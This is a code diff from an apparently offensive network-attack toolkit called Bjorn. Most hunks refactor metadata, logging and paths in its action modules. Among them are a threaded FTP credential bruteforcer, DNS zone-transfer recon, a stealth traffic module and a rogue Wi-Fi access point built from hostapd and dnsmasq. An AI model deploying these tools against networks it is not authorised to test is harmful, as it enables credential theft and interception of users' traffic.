print(f"[+] Done. {scan_count} probes completed on {ip}")
|
||||||
|
return "success"
|
||||||
97
actions/custom/example_free_script.py
Normal file
97
actions/custom/example_free_script.py
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
"""example_free_script.py - Custom script template using plain Python (no shared_data)."""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import time
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# ---- Display metadata (optional, used by the web UI) ----
|
||||||
|
b_name = "Example Free Script"
|
||||||
|
b_description = "Standalone Python script demo with argparse and progress output."
|
||||||
|
b_author = "Bjorn Community"
|
||||||
|
b_version = "1.0.0"
|
||||||
|
b_tags = '["custom", "example", "template", "free"]'
|
||||||
|
|
||||||
|
# ---- Argument schema (drives the web UI controls, same format as Bjorn actions) ----
|
||||||
|
b_args = {
|
||||||
|
"target": {
|
||||||
|
"type": "text",
|
||||||
|
"default": "192.168.1.0/24",
|
||||||
|
"description": "Target host or CIDR range"
|
||||||
|
},
|
||||||
|
"timeout": {
|
||||||
|
"type": "number",
|
||||||
|
"default": 5,
|
||||||
|
"min": 1,
|
||||||
|
"max": 60,
|
||||||
|
"description": "Timeout per probe in seconds"
|
||||||
|
},
|
||||||
|
"output_format": {
|
||||||
|
"type": "select",
|
||||||
|
"choices": ["text", "json", "csv"],
|
||||||
|
"default": "text",
|
||||||
|
"description": "Output format"
|
||||||
|
},
|
||||||
|
"dry_run": {
|
||||||
|
"type": "checkbox",
|
||||||
|
"default": False,
|
||||||
|
"description": "Simulate without actually probing"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
b_examples = [
|
||||||
|
{"name": "Quick local check", "args": {"target": "192.168.1.1", "timeout": 2, "output_format": "text"}},
|
||||||
|
{"name": "Dry run JSON", "args": {"target": "10.0.0.0/24", "timeout": 5, "output_format": "json", "dry_run": True}},
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="Example free-form Bjorn custom script")
|
||||||
|
parser.add_argument("--target", default="192.168.1.0/24", help="Target host or CIDR")
|
||||||
|
parser.add_argument("--timeout", type=int, default=5, help="Timeout per probe (seconds)")
|
||||||
|
parser.add_argument("--output-format", default="text", choices=["text", "json", "csv"])
|
||||||
|
parser.add_argument("--dry-run", action="store_true", help="Simulate without probing")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
print(f"[*] Example Free Script starting")
|
||||||
|
print(f"[*] Target: {args.target}")
|
||||||
|
print(f"[*] Timeout: {args.timeout}s")
|
||||||
|
print(f"[*] Format: {args.output_format}")
|
||||||
|
print(f"[*] Dry run: {args.dry_run}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Simulate some work with progress output
|
||||||
|
steps = 5
|
||||||
|
for i in range(steps):
|
||||||
|
print(f"[*] Step {i+1}/{steps}: {'simulating' if args.dry_run else 'probing'} {args.target}...")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
# Example output in different formats
|
||||||
|
results = [
|
||||||
|
{"host": "192.168.1.1", "status": "up", "latency": "2ms"},
|
||||||
|
{"host": "192.168.1.100", "status": "up", "latency": "5ms"},
|
||||||
|
]
|
||||||
|
|
||||||
|
if args.output_format == "json":
|
||||||
|
import json
|
||||||
|
print(json.dumps(results, indent=2))
|
||||||
|
elif args.output_format == "csv":
|
||||||
|
print("host,status,latency")
|
||||||
|
for r in results:
|
||||||
|
print(f"{r['host']},{r['status']},{r['latency']}")
|
||||||
|
else:
|
||||||
|
for r in results:
|
||||||
|
print(f" {r['host']} {r['status']} ({r['latency']})")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print(f"[+] Done. Found {len(results)} hosts.")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[!] Interrupted")
|
||||||
|
sys.exit(130)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"\n[!] Error: {e}")
|
||||||
|
sys.exit(1)
|
||||||
@@ -1,9 +1,5 @@
|
|||||||
# demo_action.py
|
"""demo_action.py - Minimal template action that prints its arguments."""
|
||||||
# Demonstration Action: wrapped in a DemoAction class
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Metadata (compatible with sync_actions / Neo launcher)
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
b_class = "DemoAction"
|
b_class = "DemoAction"
|
||||||
b_module = "demo_action"
|
b_module = "demo_action"
|
||||||
b_enabled = 1
|
b_enabled = 1
|
||||||
@@ -14,6 +10,19 @@ b_description = "Demonstration action: simply prints the received arguments."
|
|||||||
b_author = "Template"
|
b_author = "Template"
|
||||||
b_version = "0.1.0"
|
b_version = "0.1.0"
|
||||||
b_icon = "demo_action.png"
|
b_icon = "demo_action.png"
|
||||||
|
b_status = "demo_action"
|
||||||
|
b_port = None
|
||||||
|
b_service = "[]"
|
||||||
|
b_trigger = None
|
||||||
|
b_parent = None
|
||||||
|
b_priority = 0
|
||||||
|
b_cooldown = 0
|
||||||
|
b_rate_limit = None
|
||||||
|
b_timeout = 60
|
||||||
|
b_max_retries = 0
|
||||||
|
b_stealth_level = 10
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["demo", "template", "test"]
|
||||||
|
|
||||||
b_examples = [
|
b_examples = [
|
||||||
{
|
{
|
||||||
@@ -129,6 +138,8 @@ def _list_net_ifaces() -> list[str]:
|
|||||||
names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo")
|
names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo")
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
if os.name == "nt":
|
||||||
|
return ["Ethernet", "Wi-Fi"]
|
||||||
try:
|
try:
|
||||||
for n in os.listdir("/sys/class/net"):
|
for n in os.listdir("/sys/class/net"):
|
||||||
if n and n != "lo":
|
if n and n != "lo":
|
||||||
@@ -183,7 +194,8 @@ class DemoAction:
|
|||||||
def execute(self, ip=None, port=None, row=None, status_key=None):
|
def execute(self, ip=None, port=None, row=None, status_key=None):
|
||||||
"""Called by the orchestrator. This demo only prints arguments."""
|
"""Called by the orchestrator. This demo only prints arguments."""
|
||||||
self.shared_data.bjorn_orch_status = "DemoAction"
|
self.shared_data.bjorn_orch_status = "DemoAction"
|
||||||
self.shared_data.comment_params = {"ip": ip, "port": port}
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"status": "running"}
|
||||||
|
|
||||||
print("=== DemoAction :: executed ===")
|
print("=== DemoAction :: executed ===")
|
||||||
print(f" IP/Target: {ip}:{port}")
|
print(f" IP/Target: {ip}:{port}")
|
||||||
|
|||||||
@@ -1,19 +1,4 @@
|
|||||||
"""
|
"""dns_pillager.py - DNS recon: reverse lookups, record enumeration, zone transfers, subdomain brute."""
|
||||||
dns_pillager.py - DNS reconnaissance and enumeration action for Bjorn.
|
|
||||||
|
|
||||||
Performs comprehensive DNS intelligence gathering on discovered hosts:
|
|
||||||
- Reverse DNS lookup on target IP
|
|
||||||
- Full DNS record enumeration (A, AAAA, MX, NS, TXT, CNAME, SOA, SRV, PTR)
|
|
||||||
- Zone transfer (AXFR) attempts against discovered nameservers
|
|
||||||
- Subdomain brute-force enumeration with threading
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Targets provided by the orchestrator (ip + port)
|
|
||||||
- IP -> (MAC, hostname) mapping read from DB 'hosts'
|
|
||||||
- Discovered hostnames are written back to DB hosts table
|
|
||||||
- Results saved as JSON in data/output/dns/
|
|
||||||
- Action status recorded in DB.action_results (via DNSPillager.execute)
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import json
|
import json
|
||||||
@@ -29,7 +14,6 @@ from concurrent.futures import ThreadPoolExecutor, as_completed
|
|||||||
from shared import SharedData
|
from shared import SharedData
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
|
|
||||||
# Configure the logger
|
|
||||||
logger = Logger(name="dns_pillager.py", level=logging.DEBUG)
|
logger = Logger(name="dns_pillager.py", level=logging.DEBUG)
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|||||||
@@ -48,12 +48,12 @@ b_args = {
|
|||||||
"input_dir": {
|
"input_dir": {
|
||||||
"type": "text",
|
"type": "text",
|
||||||
"label": "Input Data Dir",
|
"label": "Input Data Dir",
|
||||||
"default": "/home/bjorn/Bjorn/data/output"
|
"default": "data/output"
|
||||||
},
|
},
|
||||||
"output_dir": {
|
"output_dir": {
|
||||||
"type": "text",
|
"type": "text",
|
||||||
"label": "Reports Dir",
|
"label": "Reports Dir",
|
||||||
"default": "/home/bjorn/Bjorn/data/reports"
|
"default": "data/reports"
|
||||||
},
|
},
|
||||||
"watch": {
|
"watch": {
|
||||||
"type": "checkbox",
|
"type": "checkbox",
|
||||||
@@ -92,7 +92,8 @@ class FreyaHarvest:
|
|||||||
with self.lock:
|
with self.lock:
|
||||||
self.data[cat].append(finds)
|
self.data[cat].append(finds)
|
||||||
new_findings += 1
|
new_findings += 1
|
||||||
except: pass
|
except Exception:
|
||||||
|
logger.debug(f"Failed to read {f_path}")
|
||||||
|
|
||||||
if new_findings > 0:
|
if new_findings > 0:
|
||||||
logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.")
|
logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.")
|
||||||
@@ -123,20 +124,30 @@ class FreyaHarvest:
|
|||||||
self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}")
|
self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}")
|
||||||
|
|
||||||
def execute(self, ip, port, row, status_key) -> str:
|
def execute(self, ip, port, row, status_key) -> str:
|
||||||
input_dir = getattr(self.shared_data, "freya_harvest_input", b_args["input_dir"]["default"])
|
# Reset per-run state to prevent memory accumulation
|
||||||
output_dir = getattr(self.shared_data, "freya_harvest_output", b_args["output_dir"]["default"])
|
self.data.clear()
|
||||||
|
self.last_scan_time = 0
|
||||||
|
|
||||||
|
_data_dir = getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data")
|
||||||
|
_default_input = os.path.join(_data_dir, "output")
|
||||||
|
_default_output = os.path.join(_data_dir, "reports")
|
||||||
|
input_dir = getattr(self.shared_data, "freya_harvest_input", _default_input)
|
||||||
|
output_dir = getattr(self.shared_data, "freya_harvest_output", _default_output)
|
||||||
watch = getattr(self.shared_data, "freya_harvest_watch", True)
|
watch = getattr(self.shared_data, "freya_harvest_watch", True)
|
||||||
fmt = getattr(self.shared_data, "freya_harvest_format", "all")
|
fmt = getattr(self.shared_data, "freya_harvest_format", "all")
|
||||||
timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600))
|
timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600))
|
||||||
|
|
||||||
logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}")
|
logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}")
|
||||||
self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories")
|
self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories")
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": "0"}
|
||||||
|
|
||||||
start_time = time.time()
|
start_time = time.time()
|
||||||
try:
|
try:
|
||||||
while time.time() - start_time < timeout:
|
while time.time() - start_time < timeout:
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
break
|
logger.info("FreyaHarvest: Interrupted by orchestrator.")
|
||||||
|
return "interrupted"
|
||||||
|
|
||||||
self._collect_data(input_dir)
|
self._collect_data(input_dir)
|
||||||
self._generate_report(output_dir, fmt)
|
self._generate_report(output_dir, fmt)
|
||||||
@@ -145,6 +156,9 @@ class FreyaHarvest:
|
|||||||
elapsed = int(time.time() - start_time)
|
elapsed = int(time.time() - start_time)
|
||||||
prog = int((elapsed / timeout) * 100)
|
prog = int((elapsed / timeout) * 100)
|
||||||
self.shared_data.bjorn_progress = f"{prog}%"
|
self.shared_data.bjorn_progress = f"{prog}%"
|
||||||
|
# EPD live status update
|
||||||
|
total_items = sum(len(v) for v in self.data.values())
|
||||||
|
self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": str(total_items)}
|
||||||
|
|
||||||
if not watch:
|
if not watch:
|
||||||
break
|
break
|
||||||
@@ -156,6 +170,9 @@ class FreyaHarvest:
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"FreyaHarvest error: {e}")
|
logger.error(f"FreyaHarvest error: {e}")
|
||||||
return "failed"
|
return "failed"
|
||||||
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|
||||||
return "success"
|
return "success"
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,4 @@
|
|||||||
"""
|
“””ftp_bruteforce.py - Threaded FTP credential bruteforcer, results stored in DB.”””
|
||||||
ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich)
|
|
||||||
- Cibles: (ip, port) par l’orchestrateur
|
|
||||||
- IP -> (MAC, hostname) via DB.hosts
|
|
||||||
- Succès -> DB.creds (service='ftp')
|
|
||||||
- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.)
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import threading
|
import threading
|
||||||
@@ -28,11 +22,24 @@ b_parent = None
|
|||||||
b_service = '["ftp"]'
|
b_service = '["ftp"]'
|
||||||
b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]'
|
b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]'
|
||||||
b_priority = 70
|
b_priority = 70
|
||||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
b_cooldown = 1800 # 30 min between runs
|
||||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
b_rate_limit = '3/86400' # max 3 per day
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 3
|
||||||
|
b_risk_level = "medium"
|
||||||
|
b_tags = ["bruteforce", "ftp", "credentials"]
|
||||||
|
b_category = "exploitation"
|
||||||
|
b_name = "FTP Bruteforce"
|
||||||
|
b_description = "Threaded FTP credential bruteforcer with share enumeration."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "FTPBruteforce.png"
|
||||||
|
|
||||||
class FTPBruteforce:
|
class FTPBruteforce:
|
||||||
"""Wrapper orchestrateur -> FTPConnector."""
|
"""Orchestrator wrapper for FTPConnector."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
@@ -40,11 +47,11 @@ class FTPBruteforce:
|
|||||||
logger.info("FTPConnector initialized.")
|
logger.info("FTPConnector initialized.")
|
||||||
|
|
||||||
def bruteforce_ftp(self, ip, port):
|
def bruteforce_ftp(self, ip, port):
|
||||||
"""Lance le bruteforce FTP pour (ip, port)."""
|
"""Run FTP bruteforce for (ip, port)."""
|
||||||
return self.ftp_bruteforce.run_bruteforce(ip, port)
|
return self.ftp_bruteforce.run_bruteforce(ip, port)
|
||||||
|
|
||||||
def execute(self, ip, port, row, status_key):
|
def execute(self, ip, port, row, status_key):
|
||||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||||
self.shared_data.bjorn_orch_status = "FTPBruteforce"
|
self.shared_data.bjorn_orch_status = "FTPBruteforce"
|
||||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||||
logger.info(f"Brute forcing FTP on {ip}:{port}...")
|
logger.info(f"Brute forcing FTP on {ip}:{port}...")
|
||||||
@@ -53,12 +60,11 @@ class FTPBruteforce:
|
|||||||
|
|
||||||
|
|
||||||
class FTPConnector:
|
class FTPConnector:
|
||||||
"""Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname)."""
|
"""Handles FTP attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
|
|
||||||
# Wordlists inchangées
|
|
||||||
self.users = self._read_lines(shared_data.users_file)
|
self.users = self._read_lines(shared_data.users_file)
|
||||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||||
|
|
||||||
@@ -71,7 +77,7 @@ class FTPConnector:
|
|||||||
self.queue = Queue()
|
self.queue = Queue()
|
||||||
self.progress = None
|
self.progress = None
|
||||||
|
|
||||||
# ---------- util fichiers ----------
|
# ---------- file utils ----------
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _read_lines(path: str) -> List[str]:
|
def _read_lines(path: str) -> List[str]:
|
||||||
try:
|
try:
|
||||||
@@ -186,7 +192,7 @@ class FTPConnector:
|
|||||||
self.progress.advance(1)
|
self.progress.advance(1)
|
||||||
self.queue.task_done()
|
self.queue.task_done()
|
||||||
|
|
||||||
# Pause configurable entre chaque tentative FTP
|
# Configurable delay between FTP attempts
|
||||||
if getattr(self.shared_data, "timewait_ftp", 0) > 0:
|
if getattr(self.shared_data, "timewait_ftp", 0) > 0:
|
||||||
time.sleep(self.shared_data.timewait_ftp)
|
time.sleep(self.shared_data.timewait_ftp)
|
||||||
|
|
||||||
@@ -267,7 +273,8 @@ class FTPConnector:
|
|||||||
self.results = []
|
self.results = []
|
||||||
|
|
||||||
def removeduplicates(self):
|
def removeduplicates(self):
|
||||||
pass
|
"""No longer needed with unique DB index; kept for interface compat."""
|
||||||
|
# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
@@ -119,6 +119,14 @@ class HeimdallGuard:
|
|||||||
return packet
|
return packet
|
||||||
|
|
||||||
def execute(self, ip, port, row, status_key) -> str:
|
def execute(self, ip, port, row, status_key) -> str:
|
||||||
|
if not HAS_SCAPY:
|
||||||
|
logger.error("HeimdallGuard requires scapy but it is not installed.")
|
||||||
|
return "failed"
|
||||||
|
|
||||||
|
# Reset per-run state
|
||||||
|
self.stats = {'packets_processed': 0, 'packets_fragmented': 0, 'timing_adjustments': 0}
|
||||||
|
self.packet_queue.clear()
|
||||||
|
|
||||||
iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface)
|
iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface)
|
||||||
mode = getattr(self.shared_data, "heimdall_guard_mode", "all")
|
mode = getattr(self.shared_data, "heimdall_guard_mode", "all")
|
||||||
delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0))
|
delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0))
|
||||||
@@ -126,6 +134,8 @@ class HeimdallGuard:
|
|||||||
|
|
||||||
logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}")
|
logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}")
|
||||||
self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}")
|
self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}")
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"ip": ip, "mode": mode, "iface": iface}
|
||||||
|
|
||||||
self.active = True
|
self.active = True
|
||||||
start_time = time.time()
|
start_time = time.time()
|
||||||
@@ -133,10 +143,8 @@ class HeimdallGuard:
|
|||||||
try:
|
try:
|
||||||
while time.time() - start_time < timeout:
|
while time.time() - start_time < timeout:
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
break
|
logger.info("HeimdallGuard: Interrupted by orchestrator.")
|
||||||
|
return "interrupted"
|
||||||
# In a real scenario, this would be hooking into a packet stream
|
|
||||||
# For this action, we simulate protection state
|
|
||||||
|
|
||||||
# Progress reporting
|
# Progress reporting
|
||||||
elapsed = int(time.time() - start_time)
|
elapsed = int(time.time() - start_time)
|
||||||
@@ -158,6 +166,8 @@ class HeimdallGuard:
|
|||||||
return "failed"
|
return "failed"
|
||||||
finally:
|
finally:
|
||||||
self.active = False
|
self.active = False
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|
||||||
return "success"
|
return "success"
|
||||||
|
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import subprocess
|
|||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import re
|
import re
|
||||||
|
import tempfile
|
||||||
import datetime
|
import datetime
|
||||||
|
|
||||||
from typing import Any, Dict, List, Optional
|
from typing import Any, Dict, List, Optional
|
||||||
@@ -126,7 +127,7 @@ class LokiDeceiver:
|
|||||||
'rsn_pairwise=CCMP'
|
'rsn_pairwise=CCMP'
|
||||||
])
|
])
|
||||||
|
|
||||||
h_path = '/tmp/bjorn_hostapd.conf'
|
h_path = os.path.join(tempfile.gettempdir(), 'bjorn_hostapd.conf')
|
||||||
with open(h_path, 'w') as f:
|
with open(h_path, 'w') as f:
|
||||||
f.write('\n'.join(h_conf))
|
f.write('\n'.join(h_conf))
|
||||||
|
|
||||||
@@ -140,7 +141,7 @@ class LokiDeceiver:
|
|||||||
'log-queries',
|
'log-queries',
|
||||||
'log-dhcp'
|
'log-dhcp'
|
||||||
]
|
]
|
||||||
d_path = '/tmp/bjorn_dnsmasq.conf'
|
d_path = os.path.join(tempfile.gettempdir(), 'bjorn_dnsmasq.conf')
|
||||||
with open(d_path, 'w') as f:
|
with open(d_path, 'w') as f:
|
||||||
f.write('\n'.join(d_conf))
|
f.write('\n'.join(d_conf))
|
||||||
|
|
||||||
@@ -170,10 +171,16 @@ class LokiDeceiver:
|
|||||||
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
|
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
|
||||||
password = getattr(self.shared_data, "loki_deceiver_password", "")
|
password = getattr(self.shared_data, "loki_deceiver_password", "")
|
||||||
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
|
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
|
||||||
output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi")
|
_fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "wifi")
|
||||||
|
output_dir = getattr(self.shared_data, "loki_deceiver_output", _fallback_dir)
|
||||||
|
|
||||||
|
# Reset per-run state
|
||||||
|
self.active_clients.clear()
|
||||||
|
|
||||||
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
|
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
|
||||||
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
|
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"ssid": ssid, "iface": iface, "channel": str(channel)}
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.stop_event.clear()
|
self.stop_event.clear()
|
||||||
@@ -181,7 +188,8 @@ class LokiDeceiver:
|
|||||||
h_path, d_path = self._create_configs(iface, ssid, channel, password)
|
h_path, d_path = self._create_configs(iface, ssid, channel, password)
|
||||||
|
|
||||||
# Set IP for interface
|
# Set IP for interface
|
||||||
subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True)
|
subprocess.run(['sudo', 'ip', 'addr', 'add', '192.168.1.1/24', 'dev', iface], capture_output=True)
|
||||||
|
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
|
||||||
|
|
||||||
# Start processes
|
# Start processes
|
||||||
# Use DEVNULL to avoid blocking on unread PIPE buffers.
|
# Use DEVNULL to avoid blocking on unread PIPE buffers.
|
||||||
@@ -208,7 +216,8 @@ class LokiDeceiver:
|
|||||||
start_time = time.time()
|
start_time = time.time()
|
||||||
while time.time() - start_time < timeout:
|
while time.time() - start_time < timeout:
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
break
|
logger.info("LokiDeceiver: Interrupted by orchestrator.")
|
||||||
|
return "interrupted"
|
||||||
|
|
||||||
# Check if procs still alive
|
# Check if procs still alive
|
||||||
if self.hostapd_proc.poll() is not None:
|
if self.hostapd_proc.poll() is not None:
|
||||||
@@ -219,6 +228,8 @@ class LokiDeceiver:
|
|||||||
elapsed = int(time.time() - start_time)
|
elapsed = int(time.time() - start_time)
|
||||||
prog = int((elapsed / timeout) * 100)
|
prog = int((elapsed / timeout) * 100)
|
||||||
self.shared_data.bjorn_progress = f"{prog}%"
|
self.shared_data.bjorn_progress = f"{prog}%"
|
||||||
|
# EPD live status update
|
||||||
|
self.shared_data.comment_params = {"ssid": ssid, "clients": str(len(self.active_clients)), "uptime": str(elapsed)}
|
||||||
|
|
||||||
if elapsed % 60 == 0:
|
if elapsed % 60 == 0:
|
||||||
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
|
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
|
||||||
@@ -244,10 +255,12 @@ class LokiDeceiver:
|
|||||||
for p in [self.hostapd_proc, self.dnsmasq_proc]:
|
for p in [self.hostapd_proc, self.dnsmasq_proc]:
|
||||||
if p:
|
if p:
|
||||||
try: p.terminate(); p.wait(timeout=5)
|
try: p.terminate(); p.wait(timeout=5)
|
||||||
except: pass
|
except Exception: pass
|
||||||
|
|
||||||
# Restore NetworkManager if needed (custom logic based on usage)
|
# Restore NetworkManager if needed (custom logic based on usage)
|
||||||
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
|
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|
||||||
return "success"
|
return "success"
|
||||||
|
|
||||||
|
|||||||
@@ -1,16 +1,11 @@
|
|||||||
"""
|
"""nmap_vuln_scanner.py - Nmap-based CPE/CVE vulnerability scanning with vulners integration."""
|
||||||
Vulnerability Scanner Action
|
|
||||||
Scanne ultra-rapidement CPE (+ CVE via vulners si dispo),
|
|
||||||
avec fallback "lourd" optionnel.
|
|
||||||
Affiche une progression en % dans Bjorn.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
import nmap
|
import nmap
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
from datetime import datetime, timedelta
|
from datetime import datetime, timedelta, timezone
|
||||||
from typing import Dict, List, Any
|
from typing import Dict, List, Any
|
||||||
|
|
||||||
from shared import SharedData
|
from shared import SharedData
|
||||||
@@ -31,18 +26,28 @@ b_priority = 11
|
|||||||
b_cooldown = 0
|
b_cooldown = 0
|
||||||
b_enabled = 1
|
b_enabled = 1
|
||||||
b_rate_limit = None
|
b_rate_limit = None
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 3
|
||||||
|
b_risk_level = "medium"
|
||||||
|
b_tags = ["vuln", "nmap", "cpe", "cve", "scanner"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Nmap Vuln Scanner"
|
||||||
|
b_description = "Nmap-based CPE/CVE vulnerability scanning with vulners integration."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "NmapVulnScanner.png"
|
||||||
|
|
||||||
# Regex compilé une seule fois (gain CPU sur Pi Zero)
|
# Pre-compiled regex (saves CPU on Pi Zero)
|
||||||
CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE)
|
CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE)
|
||||||
|
|
||||||
|
|
||||||
class NmapVulnScanner:
|
class NmapVulnScanner:
|
||||||
"""Scanner de vulnérabilités via nmap (mode rapide CPE/CVE) avec progression."""
|
"""Nmap vulnerability scanner (fast CPE/CVE mode) with progress tracking."""
|
||||||
|
|
||||||
def __init__(self, shared_data: SharedData):
|
def __init__(self, shared_data: SharedData):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
# Pas de self.nm partagé : on instancie dans chaque méthode de scan
|
# No shared self.nm: instantiate per scan method to avoid state corruption between batches
|
||||||
# pour éviter les corruptions d'état entre batches.
|
|
||||||
logger.info("NmapVulnScanner initialized")
|
logger.info("NmapVulnScanner initialized")
|
||||||
|
|
||||||
# ---------------------------- Public API ---------------------------- #
|
# ---------------------------- Public API ---------------------------- #
|
||||||
@@ -54,7 +59,7 @@ class NmapVulnScanner:
|
|||||||
self.shared_data.bjorn_progress = "0%"
|
self.shared_data.bjorn_progress = "0%"
|
||||||
|
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
return 'failed'
|
return 'interrupted'
|
||||||
|
|
||||||
# 1) Metadata
|
# 1) Metadata
|
||||||
